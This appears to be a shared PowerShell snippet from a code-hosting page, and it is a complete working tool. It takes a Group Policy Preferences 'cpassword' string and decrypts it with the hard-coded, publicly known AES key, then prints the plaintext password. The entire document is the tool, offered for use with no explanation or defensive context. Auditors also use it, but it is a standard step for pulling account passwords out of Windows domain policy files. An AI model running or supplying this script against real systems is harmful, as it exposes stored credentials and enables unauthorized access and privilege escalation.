Created
November 27, 2018 14:38
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param ( | |
[string]$cpassword | |
) | |
function Get-DecryptedCpassword { | |
[CmdletBinding()] | |
Param ( | |
[string] $Cpassword | |
) | |
try { | |
#Append appropriate padding based on string length | |
$Mod = ($Cpassword.length % 4) | |
switch ($Mod) { | |
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} | |
'2' {$Cpassword += ('=' * (4 - $Mod))} | |
'3' {$Cpassword += ('=' * (4 - $Mod))} | |
} | |
$Base64Decoded = [Convert]::FromBase64String($Cpassword) | |
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider | |
# Public available AES key on https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx?f=255&MSPPError=-2147217396 | |
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, | |
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) | |
$AesIV = New-Object Byte[]($AesObject.IV.Length) | |
$AesObject.IV = $AesIV | |
$AesObject.Key = $AesKey | |
$DecryptorObject = $AesObject.CreateDecryptor() | |
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) | |
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) | |
} | |
catch { | |
Write-Error $Error[0] | |
} | |
} | |
$decriptedpassword = Get-DecryptedCpassword $cpassword | |
write-host $decriptedpassword |
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